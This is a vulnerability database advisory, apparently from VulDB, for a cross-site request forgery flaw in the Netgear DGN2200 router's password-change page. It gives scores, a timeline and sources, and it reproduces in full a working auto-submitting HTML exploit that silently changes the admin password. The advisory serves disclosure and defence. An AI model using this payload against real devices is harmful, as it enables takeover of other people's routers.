Netgear DGN2200 1.0.0.29_1.7.29_hots Web Admin Interface /password.cgi cross-site request forgery

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.2	$0-$5k	0.00

A vulnerability, which was classified as problematic, was found in Netgear DGN2200 1.0.0.29_1.7.29_hots (Wireless LAN Software). This affects an unknown code block of the file /password.cgi of the component Web Admin Interface. The manipulation with an unknown input leads to a cross-site request forgery vulnerability. CWE is classifying the issue as CWE-352. The web application does not, or can not, sufficiently verify whether a well-formed, valid, consistent request was intentionally provided by the user who submitted the request. This is going to have an impact on integrity.

The weakness was shared 04/30/2014 by Dolev Farhi. It is possible to initiate the attack remotely. No form of authentication is needed for exploitation. It demands that the victim is doing some kind of user interaction. Technical details and a public exploit are known.

A public exploit has been developed by Dolev Farhi and been published immediately after the advisory. The exploit is shared for download at pastebin.com. It is declared as highly functional. The code used by the exploit is:

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change Admin password</H2>
<form method="POST" name="form0" action="http://www.example.com/password.cgi">
<input type="hidden" name="sysOldPasswd" value="OLDPASS"/>
<input type="hidden" name="sysNewPasswd" value="NEWPASS"/>
<input type="hidden" name="sysConfirmPasswd" value="NEWPASS"/>
<input type="hidden" name="authTImeout" value="5"/>
<input type="hidden" name="cfAlert_Apply" value="Apply"/>
</form>
</body>
</html>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the vulnerability database at X-Force (93014). The entries VDB-77595, VDB-90154, VDB-96244 and VDB-96245 are related to this item.

Productinfo

Type

Wireless LAN Software

Vendor

Netgear

Name

DGN2200

Version

1.0.0.29_1.7.29_hots

License

commercial

CPE 2.3info

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CPE 2.2info

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CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 4.2

VulDB Base Score: 4.3
VulDB Temp Score: 4.2
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

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Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
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VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Cross-site request forgery
CWE: CWE-352 / CWE-862 / CWE-863
CAPEC: 🔍
ATT&CK: 🔍

Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Highly functional
Author: Dolev Farhi
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	unlock	unlock	unlock	unlock
Today	unlock	unlock	unlock	unlock

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

04/30/2014 🔍
04/30/2014 +0 days 🔍
05/03/2014 +3 days 🔍
05/09/2014 +6 days 🔍
04/02/2019 +1788 days 🔍

Sourcesinfo

Vendor: netgear.com

Researcher: Dolev Farhi
Status: Not defined
X-Force: 93014 - NETGEAR DGN2200 router cross-site request forgery, Medium Risk
SecurityFocus: 67201 - NETGEAR DGN2200 ADSL Router Cross Site Request Forgery Vulnerability

scip Labs: https://www.scip.ch/en/?labs.20161013
See also: 🔍

Entryinfo

Created: 05/09/2014 10:42
Updated: 04/02/2019 00:09
Changes: 05/09/2014 10:42 (43), 04/02/2019 00:09 (9)
Complete: 🔍
Cache ID: 3:C87:103